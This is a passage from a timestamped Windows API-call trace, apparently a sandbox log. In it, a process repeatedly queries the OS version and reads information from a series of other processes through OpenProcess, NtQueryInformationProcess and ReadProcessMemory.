lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0270.912] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0270.949] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe40) returned 0x464 [0270.949] GetLastError () returned 0x0 [0270.950] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0270.950] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x35b018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0270.950] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0270.951] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4e1ca0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0270.951] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4e18f8, lpBuffer=0x670f7c2b0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0270.952] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0270.954] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0270.954] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x35b020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0270.954] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4e12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0270.955] malloc (_Size=0x5a) returned 0x196ef0d0370 [0270.955] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4e194a, lpBuffer=0x196ef0d0370, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0270.955] free (_Block=0x196ef0d0370) [0270.956] CloseHandle (hObject=0x464) returned 1 [0270.957] _ui64tow_s (in: _Value=0xe48, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3656") returned 0x0 [0270.962] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3656") returned 4 [0270.963] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0270.963] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0270.988] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe48) returned 0x464 [0270.988] GetLastError () returned 0x0 [0270.989] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0270.989] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4b4018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0270.989] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0270.989] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2f1d00, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0270.989] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2f18f8, lpBuffer=0x670f7c2b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0270.991] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0270.992] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0270.993] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4b4020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0270.993] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2f12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0270.993] malloc (_Size=0x76) returned 0x196ef0d2120 [0270.993] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2f1966, lpBuffer=0x196ef0d2120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0270.994] free (_Block=0x196ef0d2120) [0270.995] CloseHandle (hObject=0x464) returned 1 [0270.995] _ui64tow_s (in: _Value=0xe54, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3668") returned 0x0 [0271.001] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3668") returned 4 [0271.002] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0271.002] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0271.035] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe54) returned 0x464 [0271.035] GetLastError () returned 0x0 [0271.035] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0271.035] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x541018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0271.036] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0271.036] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7d1cb0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0271.036] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7d18f8, lpBuffer=0x670f7c2b0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0271.037] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0271.039] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0271.039] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x541020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0271.039] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7d12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0271.040] malloc (_Size=0x60) returned 0x196ef0d03e0 [0271.040] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7d1950, lpBuffer=0x196ef0d03e0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d03e0*, lpNumberOfBytesRead=0x0) returned 1 [0271.040] free (_Block=0x196ef0d03e0) [0271.041] CloseHandle (hObject=0x464) returned 1 [0271.042] _ui64tow_s (in: _Value=0xe5c, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3676") returned 0x0 [0271.047] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3676") returned 4 [0271.048] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0271.048] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0271.068] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe5c) returned 0x464 [0271.068] GetLastError () returned 0x0 [0271.070] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0271.070] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x470018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0271.071] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0271.071] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7e1cb0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0271.071] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7e18f8, lpBuffer=0x670f7c2b0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0271.073] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0271.075] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0271.075] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x470020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0271.075] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7e12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0271.075] malloc (_Size=0x60) returned 0x196ef0d0530 [0271.075] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7e1950, lpBuffer=0x196ef0d0530, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0530*, lpNumberOfBytesRead=0x0) returned 1 [0271.076] free (_Block=0x196ef0d0530) [0271.077] CloseHandle (hObject=0x464) returned 1 [0271.077] _ui64tow_s (in: _Value=0xe70, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3696") returned 0x0 [0271.082] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3696") returned 4 [0271.084] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0271.084] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0271.103] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe70) returned 0x464 [0271.103] GetLastError () returned 0x0 [0271.103] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0271.104] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x217018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0271.104] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0271.104] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f1cd0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0271.104] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f18f8, lpBuffer=0x670f7c2b0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0271.106] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0271.107] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0271.107] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x217020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0271.107] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0271.108] malloc (_Size=0x66) returned 0x196ef0d0370 [0271.108] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f1956, lpBuffer=0x196ef0d0370, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0271.108] free (_Block=0x196ef0d0370) [0271.109] CloseHandle (hObject=0x464) returned 1 [0271.110] _ui64tow_s (in: _Value=0xe78, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3704") returned 0x0 [0271.114] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3704") returned 4 [0271.130] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0271.130] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0271.150] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe78) returned 0x464 [0271.150] GetLastError () returned 0x0 [0271.151] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0271.151] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x202018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0271.151] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0271.152] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4a1d00, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0271.152] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4a18f8, lpBuffer=0x670f7c2b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0271.153] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0271.155] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0271.155] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x202020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0271.155] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4a12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0271.155] malloc (_Size=0x78) returned 0x196ef0d2120 [0271.155] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4a1968, lpBuffer=0x196ef0d2120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0271.156] free (_Block=0x196ef0d2120) [0271.157] CloseHandle (hObject=0x464) returned 1 [0271.157] _ui64tow_s (in: _Value=0xe88, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3720") returned 0x0 [0271.163] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3720") returned 4 [0271.165] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0271.165] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0271.184] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe88) returned 0x464 [0271.184] GetLastError () returned 0x0 [0271.184] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0271.184] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3ac018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0271.185] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0271.185] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5d1d00, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0271.185] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5d18f8, lpBuffer=0x670f7c2b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0271.187] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0271.189] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0271.189] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3ac020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0271.189] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5d12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0271.189] malloc (_Size=0x78) returned 0x196ef0d2120 [0271.190] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5d1968, lpBuffer=0x196ef0d2120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0271.190] free (_Block=0x196ef0d2120) [0271.191] CloseHandle (hObject=0x464) returned 1 [0271.192] _ui64tow_s (in: _Value=0xe90, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3728") returned 0x0 [0271.197] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3728") returned 4 [0271.199] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0271.199] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0271.242] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe90) returned 0x464 [0271.242] GetLastError () returned 0x0 [0271.242] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0271.243] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x30e018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0271.243] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0271.243] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4b1ce0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0271.243] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4b18f8, lpBuffer=0x670f7c2b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0271.244] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0271.246] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0271.246] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x30e020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0271.246] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4b12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0271.247] malloc (_Size=0x70) returned 0x196ef0d31b0 [0271.247] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4b1960, lpBuffer=0x196ef0d31b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0271.247] free (_Block=0x196ef0d31b0) [0271.248] CloseHandle (hObject=0x464) returned 1 [0271.249] _ui64tow_s (in: _Value=0xea4, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3748") returned 0x0 [0271.256] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", 